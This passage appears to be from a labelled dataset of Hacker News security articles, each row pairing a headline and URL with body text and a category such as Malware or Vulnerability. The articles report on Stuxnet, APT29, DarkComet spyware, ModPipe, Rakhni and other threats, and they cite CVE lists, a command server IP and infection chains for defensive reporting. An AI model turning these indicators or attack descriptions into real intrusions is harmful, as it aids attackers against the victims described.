Grant reported the problems to AT&T as a security flaw but the company declined to comment on this issue. Though, AT&T isn't the only company which lacks the security of its customers. As CNN Money reported, ""Verizon sends out text messages from a 12-digit number that changes depending on the customer, and it sends links to vzwmobile.com or vzw.com.""

""T-Mobile sends alerts from a three-digit short code (also different for every user) and links to t-mo.co. SMS text messages are convenient, because they're reliable. You can get them anywhere, anytime on any phone.""

",Vulnerability
Stuxnet Hit 5 Gateway Targets on Its Way to Iranian Plant !,https://thehackernews.com/2011/02/stuxnet-hit-5-gateway-targets-on-its.html,"Attackers behind the Stuxnet computer worm focused on targeting five organizations in Iran that they believed would get them to their final target in that country, according to a new report from security researchers.

The five organizations, believed to be the first that were infected with the worm, were targeted in five separate attacks over a number of months in 2009 and 2010, before Stuxnet was discovered in June 2010 and publicly exposed. Stuxnet spread from these organizations into other organizations on its way to its final target, which is believed to have been a nuclear enrichment facility or facilities in Iran.
""These five organizations were infected, and from those five computers Stuxnet spread out — not to just computers in those organizations, but to other computes as well,"" says Liam O Murchu, manager of operations for Symantec Security Response. ""It all started with those five original domains.""
The new information comes in an updated report from researchers at Symantec , a computer security firm that has provided some of the leading analysis of the worm since it was discovered.
According to the report, Stuxnet's first attack against the five organizations occurred in June 2009, followed by a second attack in July 2009. Eight months passed before subsequent attacks were launched in March, April and May 2010. The last attack was just one month before the code was discovered in June 2010 by VirusBlokAda, a security firm in Belarus, which said it had found the malware on computers of unspecified clients in Iran.
Symantec didn't identify the names of the five organizations that were targeted; the company said only that all five ""have a presence in Iran"" and are involved in industrial processes. One of the organizations (what Symantec refers to as Domain B) was targeted with the worm in three of the five attacks. Of the remaining organizations, three of them were hit once, and the last organization was targeted twice.
Symantec has so far been able to count a constellation of 12,000 infections in the five organizations and outside organizations to which the malware spread. The most successful attack occurred in March 2010 when 69 percent of these infections occurred. The March attack targeted only Domain B, then spread.
Domain A was targeted twice (Jun 2009 and Apr 2010). The same computer appears to have been infected each time.
Domain B was targeted three times (Jun 2009, Mar 2010, and May 2010).
Domain C was targeted once (Jul 2009).
Domain D was targeted once (Jul 2009).
Domain E appears to have been targeted once (May 2010), but had three initial infections. (I.e., the same initially infected USB key was inserted into three different computers.)
O Murchu acknowledges that there could have been earlier attacks that occurred before June 2009, but no one has found evidence of this yet.
Symantec found that the shortest time between when the malware was compiled in one case — that is turned from source code into a working piece of software — and the subsequent attack using the code occurred, was just 12 hours. This occurred in the June 2009 attack.
""This tells us that the attackers more than likely knew who they wanted to infect before they completed the code,"" O Murchu says. ""They knew in advance who they wanted to target and how they were going to get it there.""
Stuxnet was not designed to spread via the internet but via an infected USB stick or some other targeted method within a local network. So the short timeframe between compilation and the launch of the June 2009 attack also suggests that the attackers had immediate access to the computer they attacked — either working with an insider or using an unwitting insider to introduce the infection.
""It could be they sent it to someone who put it on a USB key, or it could have been delivered via spear-phishing,"" O Murchu says. ""What we do see is that the exploits in Stuxnet are all land-based, so it is not going to spread wildly on the internet. From that, we can assume the attackers wanted to deliver Stuxnet to an organization that was very close to whatever the final destination for Stuxnet was.""
Symantec, working with other security firms, has so far been able to collect and examine 3,280 unique samples of the code. Stuxnet has infected more than 100,000 computers in Iran, Europe and the United States, but it's designed to only deliver its malicious payload when it finds itself on the final system or systems it's targeting.
On systems that are not targeted, the worm just sits and finds ways to spread to other computers in search of its target. To date, three variants of Stuxnet have been found (dating to June 2009, March 2010 and April 2010). Symantec believes a fourth variant likely exists, but researchers have not found it yet.
One of the organizations, Domain B, was targeted each time the attackers released a new version of Stuxnet.
""So it looks like they felt that if they got in there, Stuxnet would spread to the [system] they actually wanted to attack,"" O Murchu says.
After the worm was discovered in June 2010, Symantec researchers worked on reverse-engineering the code to determine what it was designed to do. Two months later, the company stunned the security community when it revealed that Stuxnet was designed to attack Programmable Logic Controllers (PLCs), something that until then was considered a theoretical attack but had never been proven done. PLCs are components that work with SCADA systems (supervisory control and data acquisition systems) that control critical infrastructure systems and manufacturing facilities.
Shortly after Symantec released this information last August, German researcher Ralph Langner disclosed that Stuxnet was not attacking just any PLC, it was targeted to sabotage a specific facility or facilities. Speculation focused on Iran's nuclear enrichment plant at Natanz as the likely target. Iran has acknowledged that malicious software struck computers at Natanz and affected centrifuges at the plant, but has not provided any details beyond this.


",Malware
Top 12 Security Flaws Russian Spy Hackers Are Exploiting in the Wild,https://thehackernews.com/2021/05/top-11-security-flaws-russian-spy.html,"Cyber operatives affiliated with the Russian Foreign Intelligence Service (SVR) have switched up their tactics in response to previous public disclosures of their attack methods, according to a new advisory jointly published by intelligence agencies from the U.K. and U.S. Friday.
""SVR cyber operators appear to have reacted [...] by changing their TTPs in an attempt to avoid further detection and remediation efforts by network defenders,"" the National Cyber Security Centre (NCSC) said.
These include the deployment of an open-source tool called Sliver to maintain their access to compromised victims as well as leveraging the ProxyLogon flaws in Microsoft Exchange servers to conduct post-exploitation activities.
The development follows the public attribution of SVR-linked actors to the SolarWinds supply-chain attack last month. The adversary is also tracked under different monikers, such as Advanced Persistent Threat 29 (APT29), the Dukes, CozyBear, and Yttrium.
The attribution was also accompanied by a technical report detailing five vulnerabilities that the SVR's APT29 group was using as initial access points to infiltrate U.S. and foreign entities.
CVE-2018-13379 - Fortinet FortiGate VPN
CVE-2019-9670 - Synacor Zimbra Collaboration Suite
CVE-2019-11510 - Pulse Secure Pulse Connect Secure VPN
CVE-2019-19781 - Citrix Application Delivery Controller and Gateway
CVE-2020-4006 - VMware Workspace ONE Access
""The SVR targets organisations that align with Russian foreign intelligence interests, including governmental, think-tank, policy and energy targets, as well as more time bound targeting, for example COVID-19 vaccine targeting in 2020,"" the NCSC said.
This was followed by a separate guidance on April 26 that shed more light on the techniques used by the group to orchestrate intrusions, counting password spraying, exploiting zero-day flaws against virtual private network appliances (e.g., CVE-2019-19781) to obtain network access, and deploying a Golang malware called WELLMESS to plunder intellectual property from multiple organizations involved in COVID-19 vaccine development.
Now according to the NCSC, seven more vulnerabilities have been added into the mix, while noting that APT29 is likely to ""rapidly"" weaponize recently released public vulnerabilities that could enable initial access to their targets.
CVE-2019-1653 - Cisco Small Business RV320 and RV325 Routers
CVE-2019-2725 - Oracle WebLogic Server
CVE-2019-7609 - Kibana
CVE-2020-5902 - F5 Big-IP
CVE-2020-14882 - Oracle WebLogic Server
CVE-2021-21972 - VMware vSphere
CVE-2021-26855 - Microsoft Exchange Server
""Network defenders should ensure that security patches are applied promptly following CVE announcements for products they manage,"" the agency said.

",Cyber_Attack
New Android Banking Trojan targeting Korean users,https://thehackernews.com/2013/10/new-android-banking-trojan-targeting.html,"A very profitable line for mobile malware developers is Android Banking Trojans, which infect phones and steal passwords and other data when victims log onto their online bank accounts.

One recent trend is Android malware that attacks users in specific countries, such as European Countries, Brazil and India.
The Antivirus software maker Malwarebytes noticed that a new threat distributed via file sharing sites and alternative markets in the last few months, targets Korean users.

Dubbed as 'Android/Trojan.Bank.Wroba', malware disguises itself as the Google Play Store app and run as a service in the background to monitor events.
""This enables it to capture incoming SMS, monitor installed apps and communicate with a remote server.""
According to the researcher, after installation - malware lookup for existence of targeted Banking applications on the device, remove them and download a malicious version to replace.
""The malicious version will contain the exact Package Name and look very similar to the legitimate app, but contains malicious code with no banking functionality.""
The attackers aim to obtain login credentials giving them access to the victim's bank account and that second installed fake Banking application will capture the banking information and other useful data to generate revenue for them.

Android wouldn't be the only mobile operating system at risk from such automated exploits. Recently launched Firefox Mobile OS also have its first mobile Malware surfaced a few days back.

Best Security Practice, always download applications from reputable markets only i.e. Google Play Store.

",Malware
New 'Lazy FP State Restore' Vulnerability Found in All Modern Intel CPUs,https://thehackernews.com/2018/06/intel-processor-vulnerability.html,"Hell Yeah! Another security vulnerability has been discovered in Intel chips that affects the processor's speculative execution technology—like Specter and Meltdown—and could potentially be exploited to access sensitive information, including encryption related data.

Dubbed Lazy FP State Restore, the vulnerability (CVE-2018-3665) within Intel Core and Xeon processors has just been confirmed by Intel, and vendors are now rushing to roll out security updates in order to fix the flaw and keep their customers protected.

The company has not yet released technical details about the vulnerability, but since the vulnerability resides in the CPU, the flaw affects all devices running Intel Core-based microprocessors regardless of the installed operating systems, except some modern versions of Windows and Linux distributions.

As the name suggests, the flaw leverages a system performance optimization feature, called Lazy FP state restore, embedded in modern processors, which is responsible for saving or restoring the FPU state of each running application 'lazily' when switching from one application to another, instead of doing it 'eagerly.'
""System software may opt to utilize Lazy FP state restore instead of eager save and restore of the state upon a context switch,"" Intel says while describing the flaw.
""Lazy restored states are potentially vulnerable to exploits where one process may infer register values of other processes through a speculative execution side channel that infers their value.""
According to the Red Hat advisory, the numbers held in FPU registers could potentially be used to access sensitive information about the activity of other applications, including parts of cryptographic keys being used to secure data in the system.

All microprocessors starting with Sandy Bridge are affected by this designing blunder, which means lots of people again should gear them up to fix this vulnerability as soon as the patches are rolled out.

However, it should be noted that, unlike Spectre and Meltdown, the latest vulnerability does not reside in the hardware. So, the flaw can be fixed by pushing patches for various operating systems without requiring new CPU microcodes from Intel.

According to Intel, since the flaw is similar to Spectre Variant 3A (Rogue System Register Read), many operating systems and hypervisor software have already addressed it.

Red Hat is already working with its industry partners on a patch, which will be rolled out via its standard software release mechanism.

AMD processors are not affected by this issue.

Also, modern versions of Linux—from kernel version 4.9, released in 2016, and later are not affected by this flaw. Only if you are using an older Kernel, you are vulnerable to this vulnerability.

Moreover, modern versions of Windows, including Server 2016, and latest spins of OpenBSD and DragonflyBSD are not affected by this flaw.

Microsoft has also published a security advisory, offering guidance for the Lazy FP State Restore vulnerability and explaining that the company is already working on security updates, but they will not be released until the next Patch Tuesday in July.

Microsoft says that Lazy restore is enabled by default in Windows and cannot be disabled, adding that virtual machines, kernel, and processes are affected by this vulnerability. However, customers running virtual machines in Azure are not at risk.

",Vulnerability
20 Million Credentials Stolen From Russian Dating Site 'Topface',https://thehackernews.com/2015/01/topface-chat-dating-website.html,"A database containing details of more than 20 Million users of a Russian-based online dating website has been allegedly stolen by a hacker and made publicly available for sale through an online forum.

A hacker using the online alias ""Mastermind"" on an online forum used by cybercriminals claims the responsibility of the hack into an unnamed online dating website, according to recent reports.

The leaked credentials are claimed to be 100% valid in a posting to a paste site, and Daniel Ingevaldson, chief technology officer of Easy Solution, said that the list included email addresses from Hotmail, Yahoo and Gmail.
""The list appears to be international in nature with hundreds of domains listed from all over the world,"" Ingevaldson said in a blog post on Sunday.
""Hackers and fraudsters are likely to leverage stolen credentials to commit fraud not on the original hacked site, but to use them to exploit password re-use to automatically scan and compromise other sites including banking, travel and email providers.""
The list of leaked data contains over 7 million credentials from Hotmail, 2.5 million from Yahoo, and 2.2 million from Gmail. 50% of the credentials were for people based in Russia, and 40% came from the European Union.

However, it is unclear how the credentials from the dating website were stolen and if the database contained the passwords in encrypted form or in plain text.

Though, Easy Solutions draws attention to the fact that spear phishing attacks could also been used to steal the information directly from the users of targeted website. ""This incident is an early indication that they are moving in that direction, as the first step is acquiring email databases with a relevant motive.""

So far, it is also not at all clear if the leaked credentials can be used to access the email accounts or the account of the dating website. But, hackers can still use the stolen usernames and passwords to try to access victims' bank accounts, health records or even more sensitive data.

According to different media outlets, the personal data believed to be stolen from the popular dating website, named TOPFACE, with more than 90 million registered users. The business is headquartered in Sankt Petersburg, Russia, and according to the website, more than 50% of its users are from outside Russia.

We haven't heard from Topface yet. Also, the company neither confirmed nor deny if it suffered a breach recently that could have resulted in exposing a database of more than 20 million people. However, we have seen no indication of this data breach beyond the Pastebin post.

Easy Solutions is a US-based company that provides security products for detecting and preventing cyber fraud across different computer platforms.

",Data_Breaches
The Syrian spyware to target the opposition activists,https://thehackernews.com/2012/02/syrian-spyware-to-target-opposition.html,"The Syrian spyware to target the opposition activists

CNN News reported about malicious programs used to target the Syrian opposition, Its a computer viruses that spy on them and according to report a Syrian opposition group and a former international aid worker whose computer was infected. They steal the identities of opposition activists, then impersonate them in online chats, then they gain the trust of other users, pass out Trojan horse viruses and encourage people to open them.

Security Researcher in the Malware Detection Team (MDT) at Norman analyse the packages and found that there are two malicious programs, one which displays message about downloading a free security program, and one which showed no action when executed. He said that Most of the ones we've seen come as selfextracting RAR executables that extract a malicious program.

The malicious programs have been Visual Basic executables that primarily are downloaders and keyloggers they download an encrypted update from a site in Syria (216.6.0.28). Some contain the internal string ""Love Maker"" and ""mero"" and one contains an innocent MAC address changer application, according to Norman.

Once on the victim's computer, the malware sends information out to third parties. Vikram Thakur, principal security response manager at Symantec Corporation has dubbed the simpler virus ""backdoor.breut."" - It was the more complex virus that the former aid worker unwittingly downloaded during a chat. Backdoor.breut attempts to give the hacker remote control of the victim's computer, according to the analysis. It steals passwords and system information, downloads new programs, guides internal processes, logs keystrokes and takes shots with the webcam.

This virus sends the information it pillages from infected computers to the IP address: 216.6.0.28 . ""We checked the IP address that our engineer referenced and can confirm that it belongs to the STE (Syrian Telecommunications Establishment),"" a Symantec representative wrote to CNN. The STE is the government telecommunications company. Its not clear that STE is behind this or not !

Update : According to Recent Analyse by Malware Researchers , Darkcomet RAT (Remote Administration Tool) version was 3.3 was Injected in SFX (SelF-eXtracting) archives as 1122333.exe injects this binary program into the Windows process ""svchost.exe"". This Syrian malware use ""#KCMDDC2#-"" as Darkcomet Key.

Update : The regime is using the DarkComet RAT (called Backdoor:Win32/Fynloski.A by Microsoft) to spy on their own people.The creator of the DarkComet RAT was disgusted by that behaviour and now has retaliated with a specially created tool to detect and remove his own DarkComet RAT to help the oppressed Syrian people, DarkComet RAT Remover. Click here to Read.

",Malware
AMD Acknowledges Newly Disclosed Flaws In Its Processors — Patches Coming Soon,https://thehackernews.com/2018/03/amd-processor-hacking.html,"AMD has finally acknowledged 13 critical vulnerabilities, and exploitable backdoors in its Ryzen and EPYC processors disclosed earlier this month by Israel-based CTS Labs and promised to roll out firmware patches for millions of affected devices 'in the coming weeks.'

According to CTS-Labs researchers, critical vulnerabilities (RyzenFall, MasterKey, Fallout, and Chimera) that affect AMD's Platform Security Processor (PSP) could allow attackers to access sensitive data, install persistent malware inside the chip, and gain full access to the compromised systems.

Although exploiting AMD vulnerabilities require admin access, it could help attackers defeat important security features like Windows Credential Guard, TPMs, and virtualization that are responsible for preventing access to the sensitive data from even an admin or root account.

In a press release published by AMD on Tuesday, the company downplays the threat by saying that, ""any attacker gaining unauthorised administrative access would have a wide range of attacks at their disposal well beyond the exploits identified in this research.""


However, AMD claims patches and updates for these critical flaws are not expected to impact device performance.

Responsible Disclosure Controversy

Infosec experts and journalists embroiled CTS Labs into controversies by raising questions over the way it disclosed vulnerabilities details to the public in less than 24 hours after notifying AMD.

However, it's important to note that CTS Labs researchers did not disclose any technical information about the flaws to the public that could harm AMD users in any way.

According to Ilia Luk-Zilberman, CTO of CTS-Labs, the current process of 'Responsible Disclosure' has two significant problems:

If researcher gives a 30/45/90 days limit to the affected vendor, it's extremely rare that the vendor would notify its customers about the unpatched security vulnerabilities during this period, leaving them unaware of potential risks.
If vendors do not respond or patch the vulnerability during this 90-day disclosure period, researchers can proudly prefer to go public with full technical details of the flaws, ultimately putting their customers at risk.

Zilberman understands the need for both steps, but with his style of disclosing ""AMD flaws,"" the company proposes an alternative 'Responsible Disclosure' process that:
notifies affected customers about the impact,
ensures public pressure on the vendor to get patches as soon as possible,
involves third-party experts to verify the flaws, and
at the same time never put customers at risk.

""I think that a better way, would be to notify the public on day 0 that there are vulnerabilities and what is the impact. To notify the public and the vendor together. And not to disclose the actual technical details ever unless it's already fixed. To put the full public pressure on the vendor from the get go, but to never put customers at risk,"" Zilberman said.
Anyway, CTS Labs also claimed that AMD could take several months to release patches for most of the issues, where some of them cannot be fixed.

For more details about RyzenFall, MasterKey, Fallout, and Chimera vulnerabilities, you can head on to our previous article.

",Vulnerability
"New ModPipe Point of Sale (POS) Malware Targeting Restaurants, Hotels",https://thehackernews.com/2020/11/new-modpipe-point-of-sale-pos-malware.html,"Cybersecurity researchers today disclosed a new kind of modular backdoor that targets point-of-sale (POS) restaurant management software from Oracle in an attempt to pilfer sensitive payment information stored in the devices.
The backdoor — dubbed ""ModPipe"" — impacts Oracle MICROS Restaurant Enterprise Series (RES) 3700 POS systems, a widely used software suite in restaurants and hospitality establishments to efficiently handle POS, inventory, and labor management. A majority of the identified targets are primarily located in the US.
""What makes the backdoor distinctive are its downloadable modules and their capabilities, as it contains a custom algorithm designed to gather RES 3700 POS database passwords by decrypting them from Windows registry values,"" ESET researchers said in an analysis.
""Exfiltrated credentials allow ModPipe's operators access to database contents, including various definitions and configuration, status tables and information about POS transactions.""
It's worth noting that details such as credit card numbers and expiration dates are protected behind encryption barriers in RES 3700, thus limiting the amount of valuable information viable for further misuse, although the researchers posit that the actor behind the attacks could be in possession of a second downloadable module to decrypt the contents of the database.
The ModPipe infrastructure consists of an initial dropper that's used to install a persistent loader, which then unpacks and loads the next-stage payload — the main malware module that's used to establish communications with other ""downloadable"" modules and the command-and-control (C2) server via a standalone networking module.
Chief among the downloadable modules include ""GetMicInfo,"" a component that can intercept and decrypt database passwords using a special algorithm, which ESET researchers theorize could have been implemented either by reverse-engineering the cryptographic libraries or by making use of the encryption implementation specifics obtained in the aftermath of a data breach at Oracle's MICROS POS division in 2016.
A second module called ""ModScan 2.20"" is devoted to collecting additional information about the installed POS system (e.g., version, database server data), while another module by the name of ""Proclist"" gathers details about currently running processes.
""ModPipe's architecture, modules and their capabilities also indicate that its writers have extensive knowledge of the targeted RES 3700 POS software,"" the researchers said. ""The proficiency of the operators could stem from multiple scenarios, including stealing and reverse engineering the proprietary software product, misusing its leaked parts or buying code from an underground market.""
Businesses in the hospitality sector that are using the RES 3700 POS are advised to update to the latest version of the software as well as use devices that run updated versions of the underlying operating system.

",Malware
"Microsoft releases update for Flash Player, but leaves two disclosed Flaws Unpatched",https://thehackernews.com/2017/02/windows-adobe-flash-player.html,"Microsoft on Tuesday released security update (KB 4010250) to patch flaws in Adobe Flash Player for its customers using Internet Explorer on Windows 8.1 and later, as well as Edge for Windows 10, but two already disclosed flaws remain unpatched.

Just last week, Microsoft announced that its February patches would be delayed until March due to a last minute issue, a move that led to Google publishing details of an unpatched Windows bug.

However, the software giant emailed a handful of big business to alert them to the incoming patches on Monday, advising them to update their systems as soon as possible.

The security patches are now available to all Windows customers over Windows Update, and ""No other security updates are scheduled for release until the next scheduled monthly update release on March 14, 2017,"" Microsoft says.

Bulletin MS17-005 for Adobe Flash Player addresses remote code execution (RCE) vulnerabilities for some currently supported Windows systems.

The flaws are rated ""Critical"" for Windows client operating systems to Windows 8.1 and Windows Server 2016, but ""Moderate"" for Windows Server 2012.

But Microsoft Won't Patch Two Disclosed Flaws Until 14th March

However, two security vulnerabilities, which have already been publicly disclosed with working exploit code, remain still unpatched, giving attackers enough time to target Windows users.

First one is a Windows SMB vulnerability that affects Windows 8, Windows 10 and Windows Server. The proof-of-concept exploit code of this flaw was released just over a week ago.

The other one is the flaw disclosed by Google earlier this week that affects Microsoft's Windows operating systems ranging from Windows Vista Service Pack 2 to the latest Windows 10 that had yet to be patched.

Google disclosed the vulnerability, which resides in Windows' Graphics Device Interface (GDI) library, with POC exploit, meaning attackers can exploit the vulnerability before Microsoft issue a patch.

The latest security patches come a week after Microsoft's usual Patch Tuesday.

Since details of the security updates released by Microsoft on Tuesday remain sketchy, what these patches resolve is not currently known.

So if you check for updates on your Windows PC and find one waiting for you, don't be surprised and patch your software immediately to make sure your Flash Player software is secure, though you'll still be waiting until March 14 for the complete Patch Tuesday fix.

",Vulnerability
New Virus Decides If Your Computer Good for Mining or Ransomware,https://thehackernews.com/2018/07/cryptocurrency-mining-ransomware.html,"Security researchers have discovered an interesting piece of malware that infects systems with either a cryptocurrency miner or ransomware, depending upon their configurations to decide which of the two schemes could be more profitable.

While ransomware is a type of malware that locks your computer and prevents you from accessing the encrypted data until you pay a ransom to get the decryption key required to decrypt your files, cryptocurrency miners utilize infected system's CPU power to mine digital currencies.

Both ransomware and cryptocurrency mining-based attacks have been the top threats so far this year and share many similarities such as both are non-sophisticated attacks, carried out for money against non-targeted users, and involve digital currency.

However, since locking a computer for ransom doesn't always guarantee a payback in case victims have nothing essential to losing, in past months cybercriminals have shifted more towards fraudulent cryptocurrency mining as a method of extracting money using victims' computers.

Researchers at Russian security firm Kaspersky Labs have discovered a new variant of Rakhni ransomware family, which has now been upgraded to include cryptocurrency mining capability as well.
Written in Delphi programming language, the Rakhni malware is being spread using spear-phishing emails with an MS word file in the attachment, which if opened, prompts the victim to save the document and enable editing.

The document includes a PDF icon, which if clicked, launches a malicious executable on the victim's computer and immediately displays a fake error message box upon execution, tricking victims into thinking that a system file required to open the document is missing.

How Malware Decides What To Do

However, in the background, the malware then performs many anti-VM and anti-sandbox checks to decide if it could infect the system without being caught. If all conditions are met, the malware then performs more checks to decide the final infection payload, i.e., ransomware or miner.

1.) Installs Ransomware—if the target system has a 'Bitcoin' folder in the AppData section.

Before encrypting files with the RSA-1024 encryption algorithm, the malware terminates all processes that match a predefined list of popular applications and then displays a ransom note via a text file.

2.) Installs cryptocurrency miner—if 'Bitcoin' folder doesn't exist and the machine has more than two logical processors.

If the system gets infected with a cryptocurrency miner, it uses MinerGate utility to mine Monero (XMR), Monero Original (XMO) and Dashcoin (DSH) cryptocurrencies in the background.
Besides this, the malware uses CertMgr.exe utility to install fake root certificates that claim to have been issued by Microsoft Corporation and Adobe Systems Incorporated in an attempt to disguise the miner as a trusted process.

3.) Activates worm component—if there's no 'Bitcoin' folder and just one logical processor.

This component helps the malware to copy itself to all the computers located in the local network using shared resources.

""For each computer listed in the file the Trojan checks if the folder Users is shared and, if so, the malware copies itself to the folder \AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup of each accessible user,"" the researchers note.

Regardless of which infection is chosen, the malware performs a check if one of the listed antivirus processes is launched. If no AV process is found in the system, the malware will run several cmd commands in an attempt to disable Windows Defender.

What's more? There's A Spyware Feature As Well
""Another interesting fact is that the malware also has some spyware functionality – its messages include a list of running processes and an attachment with a screenshot,"" the researchers say.
This malware variant is targeting users primarily in Russia (95.5%), while a small number of infection has been noticed in Kazakhstan (1.36%), Ukraine (0.57%), Germany (0.49%), and India (0.41%) as well.

The best way to prevent yourself from being a victim of such attacks in the first place is never to open suspicious files and links provided in an email. Also, always keep a good backup routine and updated anti-virus software in place.
",Cyber_Attack
Ransomware Attackers Partnering With Cybercrime Groups to Hack High-Profile Targets,https://thehackernews.com/2021/06/ransomware-attackers-partnering-with.html,"As ransomware attacks against critical infrastructure skyrocket, new research shows that threat actors behind such disruptions are increasingly shifting from using email messages as an intrusion route to purchasing access from cybercriminal enterprises that have already infiltrated major targets.
""Ransomware operators often buy access from independent cybercriminal groups who infiltrate major targets and then sell access to the ransomware actors for a slice of the ill-gotten gains,"" researchers from Proofpoint said in a write-up shared with The Hacker News.
""Cybercriminal threat groups already distributing banking malware or other trojans may also become part of a ransomware affiliate network.""
Besides angling for a piece of the illegal profits, the email and cloud security firm said it is currently tracking at least 10 different threat actors who play the role of ""initial access facilitators"" to supply affiliates and other cybercrime groups with an entry point to deploy data theft and encryption operations.
Initial access brokers are known to infiltrate the networks via first-stage malware payloads such as The Trick, Dridex, Qbot, IcedID, BazaLoader, or Buer Loader, with most campaigns detected in the first half of 2021 leveraging banking trojans as ransomware loaders.
The brokers — which were identified by tracking the backdoor access advertised on hacking forums — include TA800, TA577, TA569, TA551 (Shathak), TA570, TA547, TA544 (Bamboo Spider), TA571, TA574, and TA575, with overlaps observed between various threat actors, malware, and ransomware deployments.
For example, both TA577 and TA551 have been found to use IcedID as an initial access payload to deliver Egregor, Maze, and REvil ransomware, while TA800 has employed BazaLoader to deploy Ryuk on targeted systems.
In a hypothetical attack chain, a threat actor could send an email with a malware-infected Office document, which, when opened, drops the first-stage payload to maintain persistent backdoor access. This access can then be sold to a second threat actor, who exploits it to deploy a Cobalt Strike beacon to pivot laterally across the broader network and deploy the ransomware.
That said, attacks that rely on email messages to directly distribute ransomware in the form of malicious attachments or embedded hyperlinks continue to remain a threat, albeit at lower volumes. Proofpoint noted that it identified 54 ransomware campaigns distributing a little over one million messages over the past year.
""Short dwell times, high payouts, and collaboration across cybercriminal ecosystems have led to a perfect storm of cybercrime that the world's governments are taking seriously,"" the researchers concluded. ""It is possible with new disruptive efforts focused on the threat and growing investments in cyber defense across supply chains, ransomware attacks will decrease in frequency and efficacy.""

",Malware
jQuery Official Website Compromised To Serve Malware,https://thehackernews.com/2014/09/jquery-official-website-compromised-to.html,"The official website of the popular cross-platform JavaScript library jQuery (jquery.com) has been compromised and redirecting its visitors to a third-party website hosting the RIG exploit kit, in order to distribute information-stealing malware.

JQuery is a free and open source JavaScript library designed to simplify the client-side scripting of HTML. It is used to build AJAX applications and other dynamic content easily. The popular JavaScript library is used by 30 percent of websites, including 70 percent of the top 10,000 most visited websites.

James Pleger, Director of Research at Risk management software company RiskIQ, reported yesterday that the attack against jQuery.com web servers launched for a short period of time on the afternoon of September 18th.

So, the users who visited the website on September 18th may have infected their system with data-stealing malware by redirecting users to the website hosting RIG. Pleger urged those who visited the site during the alleged attack to re-image their systems, reset passwords for user accounts that have been used on the systems, and also look for any suspicious activity if originated from the offending system or not.
""However, discovering information-stealing malware on jQuery.com is particularly disconcerting because of the demographic of jQuery users [who are] generally IT systems administrators and web developers, including a large contingent who work within enterprises,"" Pleger wrote.
Cyber criminals discovered a loophole in the jQuery website's web properties, backend systems, or other critical infrastructure and injected malicious JavaScript that redirects victims.

The RIG exploit kit is often used to deliver banking Trojans and other information-stealing malware. The researcher said he detected malware on compromised machines that steals credentials and other data.
""Planting malware capable of stealing credentials on devices owned by privilege accounts holders inside companies could allow attackers to silently compromise enterprise systems, similar to what happened in the infamous Target breach.""
RiskIQ researchers have immediately notified the jQuery Foundation about the issue. But in response, jQuery Foundation said that their internal investigation into the servers and logs didn't find the RIG exploit kit or evidence that there was a compromise.

The Rig Exploit Kit was first spotted in April this year, which checks for an un-patched version of Flash, Internet Explorer, Java or the Silverlight multimedia program on the infected users and if found, the system is instantly exploited by the bad actors. It was also used to distribute Cryptowall Ransomware back in June.

UPDATE
In an official blog post, Ralph Whitbeck from jQuery.com commented about RiskIQ findings:
""Our internal investigation into our servers and logs have not yet found the RIG exploit kit or evidence that there was in fact a compromise.""
But Yes, ""Currently the only potential system compromised is the web software or server that runs jquery.com."" and ""At no time have the hosted jQuery libraries been compromised.""
""Even though we don't have immediate evidence of compromise, we have taken the proper precautions to ensure our servers are secure and clean."" he added.

",Malware
Hackers From China Target Vietnamese Military and Government,https://thehackernews.com/2021/04/hackers-from-china-target-vietnamese.html,"A hacking group related to a Chinese-speaking threat actor has been linked to an advanced cyberespionage campaign targeting government and military organizations in Vietnam.
The attacks have been attributed with low confidence to the advanced persistent threat (APT) called Cycldek (or Goblin Panda, Hellsing, APT 27, and Conimes), which is known for using spear-phishing techniques to compromise diplomatic targets in Southeast Asia, India, and the U.S. at least since 2013.
According to researchers from Kaspersky, the offensive, which was observed between June 2020 and January 2021, leverages a method called DLL side-loading to execute shellcode that decrypts a final payload dubbed ""FoundCore.""
DLL side-loading has been a tried-and-tested technique used by various threat actors as an obfuscation tactic to bypass antivirus defenses. By loading malicious DLLs into legitimate executables, the idea is to mask their malicious activity under a trusted system or software process.
In this infection chain revealed by Kaspersky, a legitimate component from Microsoft Outlook loads a malicious library called ""outlib.dll,"" which ""hijacks the intended execution flow of the program to decode and run a shellcode placed in a binary file, rdmin.src.""
What's more, the malware comes with an extra layer designed explicitly to safeguard the code from security analysis and make it difficult to reverse-engineer. To achieve this, the threat actor behind the malware is said to have scrubbed most of the payload's header, while leaving the rest with incoherent values.
Kaspersky said the method ""signals a major advancement in sophistication for attackers in this region.""
Besides giving the attackers full control over the compromised device, FoundCore comes with capabilities to run commands for file system manipulation, process manipulation, capturing screenshots, and arbitrary command execution. Infections involving FoundCore were also found to download two additional malware. The first, DropPhone, gathers environment-related information from the victim machine and exfiltrates it to DropBox, while the second, CoreLoader, runs code that enables the malware to thwart detection by security products.
The cybersecurity firm theorized the attacks originate with a spear-phishing campaign or other precursor infections, which trigger the download of decoy RTF documents from a rogue website, ultimately leading to the deployment of FoundCore.
Among dozens of affected organizations, 80% of them are based in Vietnam and belong to the government or military sector, or are otherwise related to the health, diplomacy, education, or political verticals, with other victims, occasionally spotted in Central Asia and Thailand.
""No matter which group orchestrated this campaign, it constitutes a significant step up in terms of sophistication,"" the researchers concluded. ""Here, they've added many more layers of obfuscation and significantly complicated reverse engineering.""
""And this signals that these groups may be looking to expand their activities. Right now, it may seem as if this campaign is more of a local threat, but it's highly likely the FoundCore backdoor will be found in more countries in different regions in the future,"" said Kaspersky senior security researcher Mark Lechtik.

",Cyber_Attack
ALERT: North Korean hackers targeting South Korea with RokRat Trojan,https://thehackernews.com/2021/01/alert-north-korean-hackers-targeting.html,"A North Korean hacking group has been found deploying the RokRat Trojan in a new spear-phishing campaign targeting the South Korean government.
Attributing the attack to APT37 (aka Starcruft, Ricochet Chollima, or Reaper), Malwarebytes said it identified a malicious document last December that, when opened, executes a macro in memory to install the aforementioned remote access tool (RAT).
""The file contains an embedded macro that uses a VBA self decoding technique to decode itself within the memory spaces of Microsoft Office without writing to the disk. It then embeds a variant of the RokRat into Notepad,"" the researchers noted in a Wednesday analysis.
Believed to be active at least since 2012, the Reaper APT is known for its focus on public and private entities primarily in South Korea, such as chemicals, electronics, manufacturing, aerospace, automotive, and healthcare entities. Since then, their victimology has expanded beyond the Korean peninsula to include Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East.
While the previous attacks leveraged malware-laced Hangul Word Processor (HWP) documents, the use of self-decoding VBA Office files to deliver RokRat suggests a change in tactics for APT37, the researchers said.
